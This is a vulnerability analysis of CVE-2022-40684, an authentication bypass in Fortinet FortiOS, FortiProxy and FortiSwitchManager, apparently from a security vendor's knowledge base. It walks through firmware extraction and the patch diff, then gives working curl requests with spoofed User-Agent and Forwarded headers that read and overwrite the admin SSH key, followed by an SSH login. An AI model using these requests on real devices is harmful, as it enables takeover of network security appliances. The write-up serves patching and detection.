Attacker Value
Very High
(2 users assessed)
Very High
(2 users assessed)
User Interaction
Privileges Required
Attack Vector


Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access


An authentication bypass using an alternate path or channel [CWE-288] in Fortinet FortiOS version 7.2.0 through 7.2.1 and 7.0.0 through 7.0.6, FortiProxy version 7.2.0 and version 7.0.0 through 7.0.6 and FortiSwitchManager version 7.2.0 and 7.0.0 allows an unauthenticated atttacker to perform operations on the administrative interface via specially crafted HTTP or HTTPS requests.

Add Assessment

Technical Analysis

A vulnerability lets you send requests to the backend API service that appear to be coming from a trusted frontend application. As a result, you can call any REST API without authentication, which is pretty bad considering this is a security appliance.

General Information


  • Fortinet


  • Fortinet FortiOS, FortiProxy, FortiSwitchManager

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis


On October 3, 2022, Fortinet released a software update that addressed CVE-2022-40684, a critical authentication bypass vulnerability in their FortiOS (firewall) FortiProxy (web proxy), and FortiSwitch Manager products. The vulnerability allows remote, unauthenticated attackers to bypass authentication and gain access to the administrative interface of these products by using a specially crafted http/s request.

While their initial communications were private to customers, on October 10, 2022, Fortinet released advisory FG-IR-22-377 with additional details about the vulnerability and confirmed that it had been exploited in the wild. Public and private sources have now confirmed that exploitation is ongoing. It’s also been added to CISA’s known exploited vulnerability list.

Security firm Horizon3 published a proof-of-concept exploit on October 13, 2022, along with technical analysis of the vulnerability.

The following products are affected:

  • FortiOS 7.0.0 to 7.0.6
  • FortiOS 7.2.0 to 7.2.1
  • FortiProxy 7.0.0 to 7.0.6
  • FortiProxy 7.2.0
  • FortiSwitchManager 7.0.0
  • FortiSwitchManager 7.2.0

Technical analysis

We downloaded VMware builds for Fortigate 7.0.6 and 7.0.7, which are distributed as .zip files containing .ovf images:

-rw-r--r--. 1 ron games    71680 Aug 23  2010 datadrive.vmdk
-rw-r--r--. 1 ron games    30635 Jun  6 13:39 FortiGate-VM64.hw13.ovf
-rw-r--r--. 1 ron games    30635 Jun  6 13:39 FortiGate-VM64.hw15.ovf
-rw-r--r--. 1 ron games    14128 Jun  6 13:39 FortiGate-VM64.nsxt.ovf
-rw-r--r--. 1 ron games    26990 Jun  6 13:39 FortiGate-VM64.ovf
-rw-r--r--. 1 ron games    45063 Jun  6 13:39 FortiGate-VM64.vapp.ovf
-rw-r--r--. 1 ron games 75711488 Jun  6 13:39 fortios.vmdk
-rw-r--r--. 1 ron games     1189 Jun  6 13:39 readme.txt

Of the two filesystems, fortios.vmdk contains the operating system and applications (compressed). We mounted the .vmdk file in a VM for analysis, and found the following filesystem:

$ ls -l
total 73416
-rw-r--r--. 1 ron games        1 Oct 12 10:46 boot.msg
-rw-r--r--. 1 ron games 11670691 Oct 12 10:46 datafs.tar.gz
-rw-r--r--. 1 ron games      155 Oct 12 10:46 extlinux.conf
-rw-r--r--. 1 ron games       53 Oct 12 10:46 filechecksum
-rw-r--r--. 1 ron games  4147088 Oct 12 10:46 flatkc
-rw-r--r--. 1 ron games      256 Oct 12 10:46 flatkc.chk
-r--r--r--. 1 ron games   122656 Oct 12 10:46 ldlinux.c32
-r--r--r--. 1 ron games    69632 Oct 12 10:46 ldlinux.sys
drwx------. 1 ron games       64 Oct 12 10:46 lost+found/
-rw-r--r--. 1 ron games 59163365 Oct 12 10:46 rootfs.gz
-rw-r--r--. 1 ron games      256 Oct 12 10:46 rootfs.gz.chk

We extracted datafs.tar.gz, which is largely configuration files (a /etc/ filesystem). Then we looked at rootfs.gz, which extracts to a cpio archive:

$ file rootfs
rootfs: ASCII cpio archive (SVR4 with no CRC)

Having just worked with cpio, we knew exactly how to extract it:

$ cpio -i -d --no-absolute-filenames < ./rootfs

That, in turn, extracted into a filesystem containing several .xz files. Like Horizon3, we couldn’t extract the .xz files using the system-level xz executable, but we could use Fortinet’s by setting up the loader where they expect it to be:

fortigate/fortigate-7.0.6/root/sbin $ mkdir -p /fortidev/lib64/
fortigate/fortigate-7.0.6/root/sbin $ sudo cp ../lib/ /fortidev/lib64/
fortigate/fortigate-7.0.6/root/sbin $ LD_LIBRARY_PATH=../lib ./xz -vd ../usr.tar.xz

We repeated that for all the .xz files to extract the full operating system plus applications. Since most of the JavaScript files that power the device are minified and then gzipped, we used find to un-gzip and beautify all of the JavaScript files:

fortigate/fortigate-7.0.6/root $ find . -type f -name '*.gz' -exec gunzip "{}" \;
fortigate/fortigate-7.0.6/root $ find . -iname '*.js' -exec ~/.local/bin/js-beautify -r {} \;

Then we repeated the exact same steps on Fortigate 7.0.7, and diff’d the filesystems.

$ diff -rub fortigate-7.0.6/ fortigate-7.0.7/ > fortigate.diff

Upon manually inspecting the output, very little had changed. But this caught our eye:

diff -rub fortigate-7.0.6/root/node-scripts/index.js fortigate-7.0.7/root/node-scripts/index.js
--- fortigate-7.0.6/root/node-scripts/index.js	2022-10-12 14:13:15.000000000 -0700
+++ fortigate-7.0.7/root/node-scripts/index.js	2022-10-12 14:15:24.000000000 -0700
@@ -15092,7 +15092,22 @@
                         port: SYMBOLS.HTTPSD_LISTEN_PORT,
                         path: overrideUrl || this.request.url,
                         onReq: (req, opt) => {
-                            Object.assign(opt.headers, this._proxyHeaders);
+                            const {
+                                localAddress,
+                                localPort,
+                                remoteAddress,
+                                remotePort
+                            } = req.socket;
+                            // All headers use by httpsd should always setup with initial value instead of skip
+                            Object.assign(
+                                opt.headers, {
+                                    forwarded: `by="[${localAddress}]:${localPort}";` +
+                                        `for="[${remoteAddress}]:${remotePort}"`,
+                                    'x-forwarded-vdom': '',
+                                    'x-forwarded-cert': ''
+                                },
+                                this._proxyHeaders
+                            );
                         onRes: (req, res, proxyRes) => {
                             const {

Misusing Object.assign here allows a user to supply unintended headers in a proxied request. From context, it seems that Fortinet is forwarding the user’s request to a back-end application, and the patch ensures that the Forwarded header (and a couple others) are correctly set to safe values.

Interestingly, this is the second time in the recent past that a networking device has been vulnerable to an attack that alters HTTP headers in a proxied request to make it appear that the request is coming from a trusted source (the previous was CVE-2022-1388 (our analysis)).

Horizon3’s proof of concept confirms this; it sets the HTTP Forwarded header to make it appear to be coming from a trusted application, as well as a User-Agent that is authorized to access localhost in this manner:

    'User-Agent': 'Report Runner',
    'Forwarded': 'for="[]:8888";by="[]:8888"'

Using this, we can call any API function that Fortigate supports, but to demonstrate the impact, we’re going to overwrite the admin account’s SSH key. First, however, we’ll dump their current SSH(s) key if they’re set. If you don’t do this, you could lock out legitimate users!

$ curl -s -X GET -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[]:8000";by="[]:9000"' | jq '.results[]."ssh-public-
"\"ssh-rsa AAAA[...]Ssc= realadmin@realadminhost\""

$ curl -s -X GET -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[]:8000";by="[]:9000"' | jq '.results[]."ssh-public-key2"'

$ curl -s -X GET -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[]:8000";by="[]:9000"' | jq '.results[]."ssh-public-

In that example, ssh-public-key1 is set to a key belonging to realadmin@realadminhost, but ssh-public-key2 and ssh-public-key3 are not set. We can save ssh-public-key1 somewhere so we can restore it later, or use the second or third slot (note that the public PoC will overwrite the first key without checking, potentially locking out real administrators!)

The version of Fortigate we tested seems to be strict about which types of keys it accepts, and doesn’t accept the default key algorithms that Fedora and Ubuntu use, we create a new key using the ssh-ed25519 algorithm:

$ ssh-keygen -t ssh-ed25519
Generating public/private ssh-ed25519 key pair.
Enter file in which to save the key (/home/ron/.ssh/id_ed25519): ./test_key
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./test_key
Your public key has been saved in ./

$ cat
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKvqNT5aiZwI7kxfRx5fEbe62QcrK5etE/j5523Of7v5 ron@fedora

Then we set the key as ssh-public-key2 on admin:

$ curl -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[]:8000";by="[]:9000"' --data-binary '{"ssh-public-key2": "\"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKvqNT5a
iZwI7kxfRx5fEbe62QcrK5etE/j5523Of7v5 ron@fedora\""}'
  "cli_error":"SSH key is good.\nnode_check_object fail! for name admin\n\nvalue parse error before 'admin'\nCommand fail. Return code -37\n",

In spite of the error message, it should be set! You can validate by grabbing the key the way we did earlier:

$ curl -s -X GET -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[]:8000";by="[]:9000"' | jq '.results[]."ssh-public-key2"'
"\"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKvqNT5aiZwI7kxfRx5fEbe62QcrK5etE/j5523Of7v5 ron@fedora\""

And, of course, we can validate by just using the key (we grabbed the user account list to demonstrate what you can do):

$ ssh -i ./test_key admin@

FortiGate-VM64 # 
FortiGate-VM64 # show system admin 
config system admin
    edit "admin"
        set accprofile "super_admin"
        set vdom "root"
        set password ENC SH2E8LERtpRSSW7uTJO4ExsrjOPLcS8PKD+i8u84PipsjMfafnr6xAD/rSi6LI=


The best indication that somebody has exploited this vulnerability comes from Fortinet’s advisory:

Fortinet is aware of an instance where this vulnerability was exploited, and recommends immediately validating your systems against the following indicator of compromise in the device’s logs:



On Thursday, October 6, 2022, Fortinet released version 7.0.7 and version 7.2.2, which resolves the vulnerability. Organizations should update to a fixed version of the software for their products on an emergency basis.

Fortigate has also posted workaround instructions, which can be used as a stop-gap measure until a patch can be rolled out.

Furthermore, Rapid7 recommends that all high-value edge devices limit public access to any administrative interface.